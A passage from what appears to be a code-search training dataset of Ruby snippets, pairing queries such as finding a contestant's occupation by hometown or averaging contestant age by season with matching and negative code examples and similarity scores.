"0.5815724",
"0.5798462",
"0.5772173",
"0.5760925",
"0.5748787",
"0.5737503",
"0.5732287",
"0.57301897",
"0.5718565",
"0.5704594",
"0.56993693",
"0.569395",
"0.569395",
"0.56800896",
"0.5667696",
"0.5617357",
"0.56157935",
"0.5607975",
"0.5601735",
"0.5596972",
"0.5596147",
"0.55895436",
"0.5589355",
"0.5581458",
"0.55620843",
"0.55513495",
"0.5549408",
"0.554841",
"0.5548102",
"0.55406857",
"0.552838",
"0.55244255",
"0.55202466",
"0.55201346",
"0.55163443",
"0.5515468",
"0.5511256",
"0.5511192",
"0.55057853",
"0.5502783",
"0.5500459",
"0.5500459",
"0.5500459",
"0.54884607",
"0.54760575",
"0.5474723",
"0.5470783",
"0.5461149",
"0.54581803",
"0.54391336",
"0.54290557",
"0.54248935",
"0.54171616",
"0.5416869",
"0.54125804",
"0.5411337",
"0.54100025",
"0.54067117",
"0.54047394",
"0.5400689",
"0.5398124",
"0.53957564",
"0.53951895"
] |
0.7660978
|
4
|
Return occupation of first contestant from input hometown
|
def get_occupation(data, hometown)
data.each do |season, person|
person.each do |person_data|
return person_data["occupation"] if person_data["hometown"] == hometown
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_occupation(data, hometown)\n data.each do |season_iteration, stats|\n stats.find do |town|\n if town[\"hometown\"] == hometown\n return town[\"occupation\"]\n end\n end\n end\nend",
"def get_occupation(data, hometown)\n answer_occupation = \"\"\n data.each do |season_key, season_data|\n season_data.each_with_index do |contestant, index|\n contestant.each do |key, value|\n if value == hometown\n if answer_occupation == \"\"\n answer_occupation = season_data[index][\"occupation\"]\n end\n end\n end\n end\n end\n answer_occupation\nend",
"def get_occupation(data, hometown)\n data.each do |season, info|\n info.each do |people|\n people.each do |k,v|\n if v == hometown\n return people[\"occupation\"]\n end\n end\n end\n end\nend",
"def get_occupation(data, hometown)\n return_value = \"No contestants from that hometown\"\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n contestant.each do |x, y|\n if contestant['hometown'] == hometown\n return contestant['occupation']\n end\n end \n end\n end \n return_value\nend",
"def get_occupation(data, hometown)\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"hometown\"] == hometown\n return detail[\"occupation\"]\n end \n end \n end\nend",
"def get_occupation(data, hometown)\n a = \"\"\n data.each do |season , seasonInfo|\n seasonInfo.each do |contestant|\n \n contestant.each do |k , v|\n if k == \"hometown\" && v == hometown\n a = contestant[\"occupation\"].to_s\n puts \"#{contestant[:name]} is a #{a}\"\n return a\n #break\n end\n end\n \n end\n \n end\n # code here\n #return a\nend",
"def get_occupation(data, hometown)\n # code here\n occupation = nil \n data.each do |key1, value1|\n value1.each do |key_value_pair|\n if key_value_pair[\"hometown\"] == hometown\n occupation = key_value_pair[\"occupation\"]\n break\n end\n end\n end\n occupation\nend",
"def profile_home(city,state)\n if !city.blank?\n address = city.humanize\n if !state.blank?\n address << \", \" \n address << state.humanize\n end\n return address \n end \n end",
"def neighborhood\n self.locations.first.neighborhood\n end",
"def business_county\n business_location.county if business_location.present?\n end",
"def town\n enterprise.try(:town).try(:title)\n end",
"def get_contestant_name(data, occupation)\n name = ''\n data.each do |season, contestants|\n name = contestants.find{|contestant| contestant['occupation'] == occupation}\n break if name != nil\n end\n name['name']\nend",
"def get_contestant_name(data, occupation)\n data.each do |season, contestants|\n contestants.each do |contestant_hash|\n if contestant_hash[\"occupation\"] == occupation\n return contestant_hash[\"name\"]\n end\n end\n end\nend",
"def from_hospital\n\t\tif @random_number == 1\n\t\t\t@street_used = \"Fourth Ave.\"\n\t\t\t@location = \"Cathedral\"\n\t\telse\n\t\t\t@street_used = \"Foo St.\"\n\t\t\t@location = \"Hillman\"\n\t\tend\n\tend",
"def test_possible_location_from_hospital_if_rand_is_one\r\n\t\toakland = City::new\r\n\t\trand_val = 1\r\n\t\thillman = oakland.generate_hospital_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal hillman[0], \"Hillman\"\r\n\t\tassert_equal hillman[1][0], \"Foo St.\"\r\n\tend",
"def get_contestant_name(data, occupation)\n data.each do |season, info|\n info.each do |people|\n people.each do |k,v|\n if v == occupation\n return people[\"name\"]\n end\n end\n end\n end\nend",
"def get_contestant_name(data, occupation)\n data.values.each do |info_hash|\n \t info_hash.each do |one_person|\n \t\tif one_person[\"occupation\"] == occupation \t\t\n \t\t\treturn one_person[\"name\"]\n \t\tend\n \t end\n end\nend",
"def smallest_population_city\n\n min_population = @largest_integer\n min_city = \"\"\n @query.get_graph.each_key do |city|\n population = get_city_info(city,\"population\")\n if population < min_population\n min_population = population\n min_city = \"#{get_city_info(city,\"name\")}\"\n end\n end\n\n return min_city\n\n end",
"def test_possible_location_from_hospital_if_rand_is_zero\r\n\t\toakland = City::new\r\n\t\trand_val = 0\r\n\t\tcathedral = oakland.generate_hospital_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal cathedral[0], \"Cathedral\"\r\n\t\tassert_equal cathedral[1][0], \"Fourth Ave.\"\r\n\tend",
"def get_contestant_name(data, occupation)\n data.each do |season_iteration, stats|\n stats.find do |job|\n if job[\"occupation\"] == occupation\n return job[\"name\"]\n end\n end\n end\nend",
"def user_city(homes)\n\n\t\t\t\n\t\t\tputs \"Please enter the city you would like to find the home's average: \"\n\t\t\tuser_input=gets.chomp\n\t\t\tuser_input=user_input.downcase\n\n\t\t\tcity_homes=homes.select do |hm|\n\t\t\t\thm.city.downcase==user_input\n\t\t\tend\n\t\t\t# p city_homes\n\t\tend",
"def organism_place_name\n if places.first\n places.first.name\n elsif location\n location\n end\n end",
"def count_contestants_by_hometown(data, hometown)\n home_town = 0\n data.each do |season_iteration, stats|\n stats.each do |town|\n if town[\"hometown\"] == hometown\n home_town = home_town + 1\n end\n end\n end\n return home_town\nend",
"def test_possible_location_from_museum_if_rand_is_one\r\n\t\toakland = City::new\r\n\t\trand_val = 1\r\n\t\thillman = oakland.generate_museum_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal hillman[0], \"Hillman\"\r\n\t\tassert_equal hillman[1][0], \"Fifth Ave.\"\r\n\tend",
"def get_contestant_name(data, occupation)\n data.each do |seasons, contestants|\n contestants.each do |contestant_data|\n contestant_data.each do |c_key, c_value|\n if contestant_data[\"occupation\"] == occupation\n return contestant_data[\"name\"]\n end\n end\n end\n end\nend",
"def works_at_hanson_st?\n @city == HANSON\n end",
"def get_continent(country_doc)\n my_html = Nokogiri::HTML(country_doc)\n doc = my_html.at(\"table tr td div.region1 a\")\n region = nil\n if doc != nil then\n region = doc.text.to_s\n if str_include?(region, 'Asia')\n region = 'Asia'\n elsif str_include?(region, 'middle east')\n region = 'Asia'\n end\n end\n return region\n end",
"def north_town\n if self.north_id.presence\n return Town.find(self.north_id)\n else\n return self\n end\n end",
"def get_contestant_name(data, occupation)\n data.each do |season, person| \n person.each do |person_data|\n return person_data[\"name\"] if person_data[\"occupation\"] == occupation\n end\n end\nend",
"def hometown_show\n if self.venue.city == self.band.hometown\n return true\n end\n end",
"def test_return_neighbor_name\n t = Town::new 'Dynamic Palisades', ['Matzburg', 'Hash Crossing'], 2, 2\n n_name = t.return_neighbor_name 1\n assert_equal n_name, 'Matzburg'\n end",
"def get_contestant_name(data, occupation)\n return_value = \"No contestant with that occupation!\"\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n if contestant[\"occupation\"] == occupation\n return_value = contestant[\"name\"]\n end\n end \n end\n return_value\nend",
"def get_contestant_name(data, occupation)\n data.each do |season_key, contestants_array|\n contestants_array.each do |contestant_info| \n if contestant_info[\"occupation\"] == occupation\n return contestant_info[\"name\"]\n end \n end \n end \nend",
"def get_instructor_by_hometown(instructors, hometown)\n # find will return the FIRST element that the block returns true for\n instructors.find do |instructor_hash|\n # we want to compare the hometown being passed as an argument to each instructor's hometown\n instructor_hash[:hometown] == hometown\n end\nend",
"def from_museum\n\t\tif @random_number == 1\n\t\t\t@street_used = \"Fifth Ave.\"\n\t\t\t@location = \"Hillman\"\n\t\telse\n\t\t\t@street_used = \"Bar St.\"\n\t\t\t@location = \"Cathedral\"\n\t\tend\n\tend",
"def find_city(lat,lng)\n if Geocoder::Calculations.distance_between([lat,lng], [40.698390,-73.98843]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [40.76813,-73.96439]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76423,-122.47743]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76912,-122.42593]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.85887,2.30965]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.86068,2.36389]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [51.51,-0.13]) < 20\n \"london\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.57664,-46.69787]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.55838,-46.64362]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.64446,139.70695]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.70136,139.73991]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.06901,-118.35904]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.07499,-118.28763]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.02663,-118.45998]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [50.07832,14.41619]) < 20\n \"prague\"\n else\n \"unknown\"\n end\n end",
"def getPopulationCity(code)\n @parse.map{ |airport| \n if( airport[\"population\"] == code) \n return airport[\"name\"]\n end\n }\n end",
"def test_possible_location_from_hillman_if_rand_is_zero\r\n\t\toakland = City::new\r\n\t\trand_val = 0\r\n\t\tdowntown = oakland.generate_hillman_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal downtown[0], \"Downtown\"\r\n\t\tassert_equal downtown[1][0], \"Fifth Ave.\"\r\n\tend",
"def location\n puts \"Please enter location to see profit:\"\n franchise_location = gets.chomp\n franchise = Franchise.find_by location: franchise_location\n if franchise == nil\n puts \"There aren't any franchises in this location.\"\n menu\n end\n puts \"This location's profit is $#{franchise.profit}.\"\n menu\n end",
"def hometown_generator\n city = @hometown_options.sample\n end",
"def hometown_show d\n if (venue.city == band)\n true\n else\n false\n end\n end",
"def location_code\n # find the closest location\n location = area || city || province\n location.post_code\n end",
"def find_restaurant_loc\n puts \"Enter Restaurant: \" \n rest_name = gets.chomp\n x = Restaurant.find_by(name: rest_name)\n pp x.location\nend",
"def from_hillman\n\t\tif @random_number == 1\n\t\t\t@street_used = \"Fifth Ave.\"\n\t\t\t@location = \"Downtown\"\n\t\telse\n\t\t\t@street_used = \"Foo St.\"\n\t\t\t@location = \"Hospital\"\n\t\tend\n\tend",
"def borough_identifier(borough)\n\tif borough == \"Queens\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Bronx\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Brooklyn\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Staten Island\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Manhattan\"\n\t\tputs \"You live in #{borough}!\"\n\telse\n\t\tputs \"I don't think you live in the boroughs.\"\n\tend\nend",
"def test_possible_location_from_museum_if_rand_is_zero\r\n\t\toakland = City::new\r\n\t\trand_val = 0\r\n\t\tcathedral = oakland.generate_museum_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal cathedral[0], \"Cathedral\"\r\n\t\tassert_equal cathedral[1][0], \"Bar St.\"\r\n\tend",
"def address\n '310 S Harrington'\n end",
"def get_contestant_name(data, occupation)\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"occupation\"] == occupation\n return detail[\"name\"]\n end\n end\n end\n# binding.pry\nend",
"def city\n fetch('world_cup.cities')\n end",
"def office_city\n self.dig_for_string(\"agentSummary\", \"office\", \"officeAddress\", \"city\")\n end",
"def find_neighborhood\n results = Geocoder.search(\"#{coordinates[1]},#{coordinates[0]}\")\n unless results.blank?\n n = 0\n m = 0\n has_neighborhood = false\n (0..(results.count-1)).each do |i|\n if results[i].types.include?(\"neighborhood\")\n has_neighborhood = true\n n = i\n break\n end\n end\n if has_neighborhood\n (0..(results[n].address_components.count-1)).each do |i|\n if results[n].address_components[i][\"types\"].include?(\"neighborhood\")\n m = i\n break\n end\n end\n results[n].address_components[m][\"long_name\"]\n else\n return nil\n end\n else\n return nil\n end\n \n end",
"def birthplace\n search_by_text('место рождения').split(', ').first\n end",
"def full_street_address\n location + \"New York City, NY, USA\"\n end",
"def current_occupancy\n self.dinosaurs.size\n end",
"def count_contestants_by_hometown(data, hometown)\n all_seasons(data).reduce(0) do |sum, contestant|\n if contestant[\"hometown\"] == hometown \n sum + 1 \n else \n sum \n end\n end\nend",
"def area_of_prefecture(state_name = 'kyoto')\n result = 'okinawa'\n @jp_areas.each do |area, states|\n states.each do |state|\n return result = area.to_s unless state[state_name].nil?\n end\n end\n rescue NoMethodError\n return 'hokkaido'\n end",
"def get_city_index(city)\n index = -1\n if city == 'Enumerable Canyon'\n index = 0\n elsif city == 'Monkey Patch City'\n index = 1\n elsif city == 'Duck Type Beach'\n index = 2\n elsif city == 'Matzburg'\n index = 3\n elsif city == 'Nil Town'\n index = 4\n elsif city == 'Hash Crossing'\n index = 5\n elsif city == 'Dynamic Palisades'\n index = 6\n end\n\n return nil if index == -1\n index\n end",
"def location\n c = Country.find_country_by_alpha2(country)\n country_name = !c.nil? ? c.name : nil\n if (postcode and country)\n return postcode + \", \" + (country_name or country)\n else\n return (postcode or country_name or country)\n end\n end",
"def test_possible_location_from_cathedral_if_rand_is_one\r\n\t\toakland = City::new\r\n\t\trand_val = 1\r\n\t\tmuseum = oakland.generate_cathedral_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal museum[0], \"Museum\"\r\n\t\tassert_equal museum[1][0], \"Bar St.\"\r\n\tend",
"def from_cathy\n\t\tif @random_number == 1\n\t\t\t@street_used = \"Fourth Ave.\"\n\t\t\t@location = \"Monroeville\"\n\t\telse \n\t\t\t@street_used = \"Bar St.\"\n\t\t\t@location = \"Museum\"\n\t\tend\n\tend",
"def get_area_code(hashbook, city)\n hashbook[city]\nend",
"def county\n self.well_info.county\n end",
"def office_state_province\n self.dig_for_string(\"agentSummary\", \"office\", \"officeAddress\", \"stateProvince\")\n end",
"def likely_organization\n match_keys = [[:telephone_number], [:fax_number], [:first_line, :second_line, :postal_code]]\n [mailing_address, practice_location_address].each do |address|\n match_keys.each do |mk|\n matcher = address.slice(*mk).reject { |k, v| v.blank? }\n if matcher.size > 0 && org_address = Address.where(matcher.merge(entity_type: 'Organization')).first\n return org_address.entity\n end\n end\n end\n return nil\n end",
"def fetch_origin_country(airport)\r\n unless airport.nil?\r\n COUNTRIES.find({COUNTRY_CODE => airport[AIRPORT_ORIGIN_COUNTRY]}, :fields => [\"wikipedia_link\"]).each do |country|\r\n @wikipedia_link = country['wikipedia_link']\r\n end\r\n end\r\nend",
"def get_contestant_name(data, occupation)\n # code here\n data.each { |season, array|\n #puts array\n array.each {|hash|\n hash.each {|detail, info|\n if info == occupation\n return hash[\"name\"]\n end\n }\n #return puts attribute, stat\n #if stat == \"occupation\"\n # #if stat\n # return name\n #end\n }\n\n }\n\nend",
"def geograpy(city, state)\n puts \"#{city} is the capital of #{state}.\"\nend",
"def getMinPopulation(csa)\n population1 = Float::INFINITY\n @@parse.map{ |airport| \n if( airport[\"name\"] == csa) \n airport[\"destinations\"].map do |element,i|\n code = getCode(element[\"ports\"], airport[\"code\"])\n population2 = getPopulation(code, graph) \n if(population2<population1)\n population1 = population2\n end\n end\n \n puts \"The City with Min population is : \" + getPopulationCity(population1, graph)\n end\n \n }\n end",
"def birthplace\n @birthplace\n end",
"def state\n country = ISO3166::Country[country_residence]\n if country.try(:subdivisions?)\n country.subdivisions[state_code].try(:[], \"name\")\n else\n state_code\n end\n end",
"def office_state_province_code\n self.dig_for_string(\"agentSummary\", \"office\", \"officeAddress\", \"stateProvinceCode\")\n end",
"def hometown_show?\n # self.venue.city\n # self.band.hometown\n\n self.venue.city == self.band.hometown\n end",
"def capital_city\n fetch('nation.capital_city')\n end",
"def test_choose_next_town\n map = create_towns\n t = Town::new 'Enumerable Canyon', ['Duck Type Beach'], 1, 1\n p1 = Prospector::new t\n test_i = p1.choose_next_town map\n assert_equal test_i, 1\n end",
"def restaurant\n location.restaurant\n end",
"def current_city\n if @city \n @city.name\n elsif @institute\n @institute.name\n else #failsafe\n end\n end",
"def state(city)\n city = append_country(city)\n request = Request.new(:query => city, :output => \"json\")\n response = JSON.parse(request.execute!)\n if response[\"Status\"][\"code\"] == 200\n response[\"Placemark\"][0][\"AddressDetails\"][\"Country\"][\"AdministrativeArea\"][\"AdministrativeAreaName\"]\n else\n Geocode.unknown_state\n end\n rescue\n Geocode.unknown_state\n end",
"def geoshort\n self.address.split(',')[0]\n end",
"def continent\n\n Continent.find_by :alpha_2, continent_alpha_2\n\n end",
"def set_occupation\n @occupation = Occupation.find(params[:id])\n end",
"def country_code\n Geocoder.search(hotel.city).first.country_code\n rescue Exception\n 'CZ'\n end",
"def find_restaurant(address, cuisines, budget_low)\n # Get a list of all restaurants that deliver to this address from the API\n @all_restaurants = @api.delivery_list(address)\n\n # Filter down to the valid restaurants for this purpose\n @valid_restaurants = get_valid_restaurants(@all_restaurants, cuisines, budget_low)\n\n # Grab a random validated restaurant!\n @chosen_restaurant = @valid_restaurants.sample\n\n # Get restaurant info from API\n r_object = {\n rid: @chosen_restaurant['id'].to_s\n }\n \n # Return restaurant\n @api.restaurant_details(r_object)\n end",
"def find_restaurant(address, cuisines, budget_low)\n # Get a list of all restaurants that deliver to this address from the API\n @all_restaurants = @api.delivery_list(address)\n\n # Filter down to the valid restaurants for this purpose\n @valid_restaurants = get_valid_restaurants(@all_restaurants, cuisines, budget_low)\n\n # Grab a random validated restaurant!\n @chosen_restaurant = @valid_restaurants.sample\n\n # Get restaurant info from API\n r_object = {\n rid: @chosen_restaurant['id'].to_s\n }\n \n # Return restaurant\n @api.restaurant_details(r_object)\n end",
"def full_street_address\n if self.city_id || self.city\n \n city = City.find(:first,:conditions => {:city => self.city_id}) || self.city\n \"#{self.street_address},#{self.postal_code},#{city.city},#{city.region.code},#{city.region.country.name}\" || \"\"\n else\n \"\"\n end\n end",
"def home_planet\n Person.home_planet\n end",
"def get_contestant_name(data, occupation)\ncontestant_name = data.each do |season,contestant|\n #binding.pry\ncontestant.each do |x|\n #binding.pry\n if x[\"occupation\"] == occupation\n name = x[\"name\"]\n return name\n end\nend\nend\nend",
"def get_townhall_city(html)\n city =[]\n html.search(\"p/a\").each do |element|\n city << element.text.downcase.tr(\" \", \"-\")\n end\n return city\n end",
"def show\n # @location_array = Accuweather.city_search(name: 'vancouver')\n # @vancouver = location_array.first\n end",
"def city(city)\n x = @cities.select { |c| c.city == city }\n x[0]\n end",
"def get_contestant_name(data, occupation)\ndata.each do |season, season_array|\n season_array.each do |into_array|\n if into_array[\"occupation\"] == occupation\n job_p = []\n job_p = into_array[\"name\"]\n return job_p #WHY???\n end \n end \n end \nend",
"def primary\n addr_type = ALF::AddressType.where('address_type_id', self.address_type).take\n return if addr_type.nil?\n\n return addr_type.name == 'Home'\n end",
"def state_or_province\n end",
"def count_contestants_by_hometown(data, hometown)\n count_of_contestants_from_hometown = 0\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n if contestant[\"hometown\"] == hometown\n count_of_contestants_from_hometown += 1\n end\n end\n end\n count_of_contestants_from_hometown\nend",
"def office_country\n self.dig_for_string(\"agentSummary\", \"office\", \"officeAddress\", \"country\")\n end",
"def office_district\n self.dig_for_string(\"agentSummary\", \"office\", \"officeAddress\", \"district\")\n end",
"def primary_restaurant?\n primary_employment.present? && primary_employment.restaurant.present?\n end",
"def test_monroeville_from_cathedral_if_rand_is_zero\r\n\t\toakland = City::new\r\n\t\trand_val = 0\r\n\t\tmonro = oakland.generate_cathedral_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal monro[0], \"Monroeville\"\r\n\t\tassert_equal monro[1][0], \"Fourth Ave.\"\r\n\tend",
"def full_address\n \"#{region}, #{district}, #{street_type} #{street_name}, д. #{house_number} кв. #{apartment}\"\n end",
"def location\n @location ||= person.location unless person.building_address_line_1 == person.location\n end",
"def state_or_province\n end"
] |
[
"0.7019546",
"0.69879013",
"0.69306415",
"0.68491197",
"0.6650426",
"0.64281327",
"0.6312058",
"0.61251324",
"0.6032048",
"0.6011277",
"0.6010173",
"0.5993094",
"0.5894584",
"0.5874441",
"0.5833567",
"0.58040065",
"0.5801466",
"0.5792839",
"0.5789694",
"0.57693154",
"0.57685685",
"0.5762402",
"0.57601833",
"0.57466036",
"0.56678796",
"0.5651772",
"0.56498814",
"0.5625221",
"0.561845",
"0.5617529",
"0.5617196",
"0.56135106",
"0.5601491",
"0.5584044",
"0.5561668",
"0.55349374",
"0.5527546",
"0.55252063",
"0.5524822",
"0.55009925",
"0.5479705",
"0.5479249",
"0.5476256",
"0.54617465",
"0.5453731",
"0.5441415",
"0.54389447",
"0.5437054",
"0.5421569",
"0.54016995",
"0.5397999",
"0.53786063",
"0.53541636",
"0.53473186",
"0.5343762",
"0.53359455",
"0.532449",
"0.5324018",
"0.5315862",
"0.53105754",
"0.52947044",
"0.5283068",
"0.52793854",
"0.52775246",
"0.52773833",
"0.5268822",
"0.52533334",
"0.523975",
"0.52074254",
"0.5196497",
"0.5190639",
"0.518812",
"0.51861113",
"0.5185919",
"0.5160483",
"0.51585156",
"0.51535976",
"0.51525146",
"0.51487535",
"0.5146832",
"0.51425457",
"0.5142269",
"0.5142269",
"0.5130999",
"0.51288813",
"0.5124562",
"0.5114944",
"0.5108801",
"0.51079875",
"0.51048046",
"0.5104264",
"0.51034075",
"0.51024973",
"0.50982326",
"0.509618",
"0.5095925",
"0.50956285",
"0.50883627",
"0.5080064",
"0.50760055"
] |
0.6608789
|
5
|
Calculate average age of contestants for input season
|
def get_average_age_for_season(data, season)
age_array = []
average = 0
# Get ages
data[season].each do |person|
age_array << person["age"].to_f
end
# Average and round ages
average = (age_array.sum / age_array.length).round
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_average_age_for_season(data, season)\n age_total = 0\n num_of_contestants = 0\n data[season].each do |contestant_hash|\n age_total += (contestant_hash[\"age\"]).to_i\n num_of_contestants += 1\n end\n (age_total / num_of_contestants.to_f).round(0)\nend",
"def get_average_age_for_season(data, season)\n age = 0\n count = 0\n data[season].each do |contestant_data|\n age += (contestant_data[\"age\"]).to_f\n count += 1\n end\n (age / count).round\nend",
"def get_average_age_for_season(bachelortv, season)\n bachelortv.each do |season_number, contestant_data|\n if season == season_number\n contestant_data.each do |contestant|\n contestant[\"age\"].reduce(0) do |sum|\n sum += age\n end\n end\n end\n end\nend",
"def get_average_age_for_season(data, season)\n a = []; data[season].each { |c| a << c[\"age\"].to_f }; (a.reduce(:+) / a.count).round\nend",
"def get_average_age_for_season(data, season)\n data.each do |season_iteration, stats|\n if season_iteration == season\n total_ages = 0\n ages = stats.each do |age|\n total_ages = (total_ages + age[\"age\"].to_i).to_f\n end\n return (total_ages/ages.length).round\n end\n end\nend",
"def get_average_age_for_season(data, season)\n count = 0\n age = 0\n data[season].each do |info|\n info.each do |k,v|\n if k == \"age\"\n count += 1\n age += v.to_f\n end\n end\n end\n avg_age = (age / count).round\n return avg_age\nend",
"def get_average_age_for_season(data, season)\n array_of_ages = []\n average = 0\n data.each do |season_in_hash, contestant_array|\n if season_in_hash.to_s == season\n contestant_array.each do |contestant|\n array_of_ages << contestant[\"age\"].to_f\n end \n average = (array_of_ages.inject{ |sum, num| sum + num }.to_f / array_of_ages.size).round\n end\n end\n average\nend",
"def get_average_age_for_season(data, season)\n age = 0\n num_of_ages = 0\n \n data[season].each do |season_hash|\n season_hash.each do |detail, info|\n if detail == \"age\"\n num_of_ages += 1 \n age += info.to_f\n end\n end\n end\n return (age/num_of_ages).round\nend",
"def average_goals_by_season\n goals_by_season = @games.group_by { |game| game.season.to_s }\n goals_by_season.each do |season, games|\n season_goals = games.map { |game| game.home_goals + game.away_goals }.sum\n goals_by_season[season] = (season_goals.to_f / games.count.to_f).round(2)\n end\n end",
"def mz_seasons\n age - System::JUNIOR_START_AGE\n end",
"def average_player_age\n players.average(:age)\n end",
"def batting_average(year: nil, team: nil)\n hits, at_bats = 0, 0\n\n seasonal_stats.each do |stat_line|\n year_match = stat_line.year == year || year == nil\n team_match = stat_line.team == team || team == nil\n if year_match && team_match\n hits += stat_line.hits\n at_bats += stat_line.at_bats\n end\n end\n\n if (at_bats != 0)\n return (hits.to_f / at_bats)\n else\n return 0.0\n end\n end",
"def average_calories\n calories = self.desserts.map {|dessert| dessert.calories}\n length = calories.length\n calories.sum.to_f / length.to_f\n end",
"def average_age\n @ages.sum.to_f / ages.count\n end",
"def average_age\n self.bloggers.average(\"age\").to_i\n end",
"def average_calories\n total = 0\n self.desserts.each do |dessert|\n total + dessert.calories / dessert.ingreidents.length\n end\n total\n end",
"def gym_average_age\n total_users = self.find_all_gym_users.length\n user_ages = self.gym_user_instances.map{|user| user.age}.sum \n average = user_ages.to_f / total_users.to_f\n average\n end",
"def average_age\n total_age = 0\n @@all.each do |manager|\n total_age += manager.age\n end\n (total_age/ (@@all.length -1))\n end",
"def year\n ((semester - 1) / 2) + 1\n end",
"def cat_years\n #en este metodo calculamos la edad del gato.\n @age * CAT_YEARS\n end",
"def average_calories\n dessert_cal = desserts.map do |dessert|\n dessert.calories || 0\n end\n dessert_cal.reduce(:+)/dessert_cal.length\n end",
"def team_average\n # This version is implemented as a database AVG operation,\n # but it cannot be eager loaded so it results in an extra\n # database query for each project:\n #\n # avg = students_projects.select(:points).average :points\n # avg ? avg.round : 0\n\n # This version programmatically finds the average of the points:\n #self.reload\n no_of_students = self.students_projects.length\n return 0 if no_of_students == 0\n total = 0\n self.students_projects.each { |s| total += s.points }\n (total / no_of_students).round\n end",
"def average_age \n total_age = BloodOath.all.map{|bloodoath|bloodoath.follower.age}.sum \n average_age = total_age/cult_population\n average_age.to_f\n end",
"def average_calories\n tot_calories = self.ingredients.sum {ingredient| ingredient.calories}\n tot_calories/self.desserts_count\n end",
"def dog_years(human_years)\n \tputs human_years / 7\n end",
"def get_avg\n recentReviewed = get_user_cards(Result.all)\n filteredDates = get_dates(recentReviewed)\n totalScore = filteredDates.reduce(0) {|curr,n| curr + n.score} \n totalScore/filteredDates.count \n end",
"def season_finalize\n Params.inc_season\n end",
"def calc_planet_age(solar_revolution) #pass planet.solar_revolution to this method\n formation_year = @formation * 10 ** 9\n return formation_year/solar_revolution #pretend math\n end",
"def average_age\n sum = 0.0\n count = Bloodoath.all.select do |bloodoath|\n if bloodoath.cult == self\n sum += bloodoath.follower.age\n end\n end\n sum/count.length\n end",
"def average_investment\n fetch(:average_investment) { total_investment_over_lifetime / 2 }\n end",
"def age\n cats = Cat.all\n ages = []\n\n cats.each do |cat|\n ages << Time.now.year - cat.birth_date.year\n end\n ages\n end",
"def age_group\n # NOTE: This method may be called before saving, so database queries are a no-no!\n\n season = self.performance.contest.season\n\n if self.solo? || (self.accompaniment? && !self.performance.category.popular?)\n # Soloists and non-popular accompanists have their own age group\n calculate_age_group(self.participant.birthdate, season)\n elsif self.ensemble?\n # Ensemble players share an age group\n ensemble_appearances = self.performance.appearances.select(&:ensemble?)\n calculate_age_group(ensemble_appearances.map { |a| a.participant.birthdate }, season)\n else\n # Pop accompanists share an age group (excluding the soloist)\n accompanist_appearances = self.performance.appearances.select(&:accompaniment?)\n calculate_age_group(accompanist_appearances.map { |a| a.participant.birthdate }, season)\n end\n end",
"def age\n age = ((Date.today - date_of_birth).to_i)/365 \nend",
"def average_age(people)\n people.map {|person| person[:age]}.reduce(0){|total, age| total + age} / people.length\nend",
"def average_income; end",
"def test_average_goals_by_season\n\n expected = {\n \"20122013\"=>4.12,\n \"20162017\"=>4.23,\n \"20142015\"=>4.14,\n \"20152016\"=>4.16,\n \"20132014\"=>4.19,\n \"20172018\"=>4.44\n }\n assert_equal expected, @stat_tracker.average_goals_by_season\n\n end",
"def season\n number = ((self.day - 1) / 30) % 4\n case number\n when 0\n return \"spring\"\n when 1\n return \"summer\"\n when 2\n return \"fall\"\n when 3\n return \"winter\"\n end\n end",
"def dog_years(age)\n \thuman_year = age * 7\n \tp human_year.to_i\n end",
"def season(year, **options) = get(\"/seasons/#{year}\", **{ sportId: 1 }.merge(options))",
"def season\n Allocine::Season.new(document[\"parentSeason\"][\"code\"])\n end",
"def age_calc\n \t now = Time.now.to_date\n now.year - self.year - (self.change(:year=>now.year)>now ? 1 : 0) #rescue 0\n \tend",
"def current_season\n season = nil\n\n { \n winter: [ 12, 1, 2 ], \n spring: [ 3, 4, 5 ], \n summer: [ 6, 7, 8 ],\n fall: [ 9, 10, 11 ]\n \n }.each do |key, range|\n if range.include? current_month\n season = key\n break\n end\n end\n\n season\n end",
"def season(yday)\n case yday\n when 80..171\n :midseason\n when 172..265\n :summer\n when 266..355\n :midseason\n else\n :winter\n end\n end",
"def season_number\n @ole.SeasonNumber\n end",
